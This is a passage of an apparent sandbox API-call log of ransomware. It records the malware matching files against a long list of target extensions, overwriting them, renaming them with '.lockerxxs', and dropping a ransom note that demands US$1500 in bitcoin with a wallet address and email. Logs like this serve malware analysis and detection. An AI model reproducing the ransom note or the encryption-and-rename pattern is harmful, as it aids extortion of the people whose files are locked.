HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.vmx") returned 0 [0089.365] lstrlenA (lpString="*.vmx") returned 5 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.vmdk") returned 0 [0089.365] lstrlenA (lpString="*.vmdk") returned 6 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.vdi") returned 0 [0089.365] lstrlenA (lpString="*.vdi") returned 5 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.lay6") returned 0 [0089.365] lstrlenA (lpString="*.lay6") returned 6 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.mpeg") returned 0 [0089.366] lstrlenA (lpString="*.mpeg") returned 6 [0089.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.djvu") returned 0 [0089.366] lstrlenA (lpString="*.djvu") returned 6 [0089.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.tiff") returned 0 [0089.366] lstrlenA (lpString="*.tiff") returned 6 [0089.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.backup") returned 0 [0089.366] lstrlenA (lpString="*.backup") returned 8 [0089.366] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.pdf") returned 1 [0089.366] lstrlenA (lpString="*.pdf") returned 5 [0089.366] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" [0089.366] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" [0089.366] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf." [0089.366] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf.lockerxxs" [0089.366] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\welgxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.367] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12172 [0089.367] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5ca73150, dwHighDateTime=0x1d5d95b), lpLastAccessTime=0x407536*(dwLowDateTime=0x31dc9300, dwHighDateTime=0x1d5d89a), lpLastWriteTime=0x40753e*(dwLowDateTime=0x31dc9300, dwHighDateTime=0x1d5d89a)) returned 1 [0089.367] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.368] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1214c, lpOverlapped=0x0) returned 1 [0089.371] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf") returned="WelGXT.pdf" [0089.372] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.372] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1214c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1214c, lpOverlapped=0x0) returned 1 [0089.373] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.373] CloseHandle (hObject=0x8c) returned 1 [0089.373] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\welgxt.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\welgxt.pdf.lockerxxs")) returned 1 [0089.374] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe547620, ftCreationTime.dwHighDateTime=0x1d5da73, ftLastAccessTime.dwLowDateTime=0x3bb564e0, ftLastAccessTime.dwHighDateTime=0x1d5df7c, ftLastWriteTime.dwLowDateTime=0x3bb564e0, ftLastWriteTime.dwHighDateTime=0x1d5df7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="z51nBz3", cAlternateFileName="")) returned 1 [0089.374] lstrcmpA (lpString1=".", lpString2="z51nBz3") returned -1 [0089.374] lstrcmpA (lpString1="..", lpString2="z51nBz3") returned -1 [0089.374] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf") returned="WelGXT.pdf" [0089.375] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="z51nBz3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3" [0089.375] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3") returned 65 [0089.375] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe547620, ftCreationTime.dwHighDateTime=0x1d5da73, ftLastAccessTime.dwLowDateTime=0x3bb564e0, ftLastAccessTime.dwHighDateTime=0x1d5df7c, ftLastWriteTime.dwLowDateTime=0x3bb564e0, ftLastWriteTime.dwHighDateTime=0x1d5df7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0089.375] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.375] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe547620, ftCreationTime.dwHighDateTime=0x1d5da73, ftLastAccessTime.dwLowDateTime=0x3bb564e0, ftLastAccessTime.dwHighDateTime=0x1d5df7c, ftLastWriteTime.dwLowDateTime=0x3bb564e0, ftLastWriteTime.dwHighDateTime=0x1d5df7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.375] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.375] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.375] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf7b5e20, ftCreationTime.dwHighDateTime=0x1d5daa7, ftLastAccessTime.dwLowDateTime=0x2d9c2b0, ftLastAccessTime.dwHighDateTime=0x1d5da1d, ftLastWriteTime.dwLowDateTime=0x2d9c2b0, ftLastWriteTime.dwHighDateTime=0x1d5da1d, nFileSizeHigh=0x0, nFileSizeLow=0x9c29, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0qRbO.rtf", cAlternateFileName="")) returned 1 [0089.375] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.375] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0qRbO.rtf") returned 1 [0089.375] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0qRbO.rtf") returned 1 [0089.375] lstrcmpiA (lpString1="", lpString2="0qRbO.rtf") returned -1 [0089.376] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\*.*") returned="*.*" [0089.376] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" [0089.376] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\") returned="" [0089.376] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" [0089.376] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\z51nbz3\\how to decrypt files.txt")) returned 0xffffffff [0089.376] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\z51nbz3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0089.377] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.377] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.380] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.380] CloseHandle (hObject=0x90) returned 1 [0089.380] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\", lpString2="0qRbO.rtf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf" [0089.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.ems") returned 0 [0089.380] lstrlenA (lpString="*.ems") returned 5 [0089.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.db") returned 0 [0089.380] lstrlenA (lpString="*.db") returned 4 [0089.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.dbf") returned 0 [0089.380] lstrlenA (lpString="*.dbf") returned 5 [0089.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.myox") returned 0 [0089.380] lstrlenA (lpString="*.myox") returned 6 [0089.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.myo") returned 0 [0089.381] lstrlenA (lpString="*.myo") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qbw") returned 0 [0089.381] lstrlenA (lpString="*.qbw") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qbb") returned 0 [0089.381] lstrlenA (lpString="*.qbb") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qbm") returned 0 [0089.381] lstrlenA (lpString="*.qbm") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qbo") returned 0 [0089.381] lstrlenA (lpString="*.qbo") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qbx") returned 0 [0089.381] lstrlenA (lpString="*.qbx") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qba") returned 0 [0089.381] lstrlenA (lpString="*.qba") returned 5 [0089.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qby") returned 0 [0089.381] lstrlenA (lpString="*.qby") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qbj") returned 0 [0089.382] lstrlenA (lpString="*.qbj") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.ofx") returned 0 [0089.382] lstrlenA (lpString="*.ofx") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.qif") returned 0 [0089.382] lstrlenA (lpString="*.qif") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.mye") returned 0 [0089.382] lstrlenA (lpString="*.mye") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.mbox") returned 0 [0089.382] lstrlenA (lpString="*.mbox") returned 6 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.eml") returned 0 [0089.382] lstrlenA (lpString="*.eml") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.pst") returned 0 [0089.382] lstrlenA (lpString="*.pst") returned 5 [0089.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.ost") returned 0 [0089.382] lstrlenA (lpString="*.ost") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.idx") returned 0 [0089.383] lstrlenA (lpString="*.idx") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.dbx") returned 0 [0089.383] lstrlenA (lpString="*.dbx") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.sql") returned 0 [0089.383] lstrlenA (lpString="*.sql") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.mdb") returned 0 [0089.383] lstrlenA (lpString="*.mdb") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.fdb") returned 0 [0089.383] lstrlenA (lpString="*.fdb") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.wab") returned 0 [0089.383] lstrlenA (lpString="*.wab") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.dat") returned 0 [0089.383] lstrlenA (lpString="*.dat") returned 5 [0089.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.txt") returned 0 [0089.383] lstrlenA (lpString="*.txt") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.jpeg") returned 0 [0089.384] lstrlenA (lpString="*.jpeg") returned 6 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.jpg") returned 0 [0089.384] lstrlenA (lpString="*.jpg") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.png") returned 0 [0089.384] lstrlenA (lpString="*.png") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.php") returned 0 [0089.384] lstrlenA (lpString="*.php") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.cs") returned 0 [0089.384] lstrlenA (lpString="*.cs") returned 4 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.cpp") returned 0 [0089.384] lstrlenA (lpString="*.cpp") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.rar") returned 0 [0089.384] lstrlenA (lpString="*.rar") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.zip") returned 0 [0089.384] lstrlenA (lpString="*.zip") returned 5 [0089.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.html") returned 0 [0089.384] lstrlenA (lpString="*.html") returned 6 [0089.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.htm") returned 0 [0089.385] lstrlenA (lpString="*.htm") returned 5 [0089.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.xlsx") returned 0 [0089.385] lstrlenA (lpString="*.xlsx") returned 6 [0089.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.xls") returned 0 [0089.385] lstrlenA (lpString="*.xls") returned 5 [0089.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.mp4") returned 0 [0089.386] lstrlenA (lpString="*.mp4") returned 5 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.ppt") returned 0 [0089.386] lstrlenA (lpString="*.ppt") returned 5 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.pptx") returned 0 [0089.386] lstrlenA (lpString="*.pptx") returned 6 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.doc") returned 0 [0089.386] lstrlenA (lpString="*.doc") returned 5 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.dot") returned 0 [0089.386] lstrlenA (lpString="*.dot") returned 5 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.docx") returned 0 [0089.386] lstrlenA (lpString="*.docx") returned 6 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.7z") returned 0 [0089.386] lstrlenA (lpString="*.7z") returned 4 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.tar") returned 0 [0089.386] lstrlenA (lpString="*.tar") returned 5 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.bz2") returned 0 [0089.386] lstrlenA (lpString="*.bz2") returned 5 [0089.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.gz") returned 0 [0089.387] lstrlenA (lpString="*.gz") returned 4 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.mkv") returned 0 [0089.387] lstrlenA (lpString="*.mkv") returned 5 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.eml") returned 0 [0089.387] lstrlenA (lpString="*.eml") returned 5 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\z51nBz3\\0qRbO.rtf", pszSpec="*.msg") returned 0 [0089.387] lstrlenA (lpString="*.msg") returned 5 [0089.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 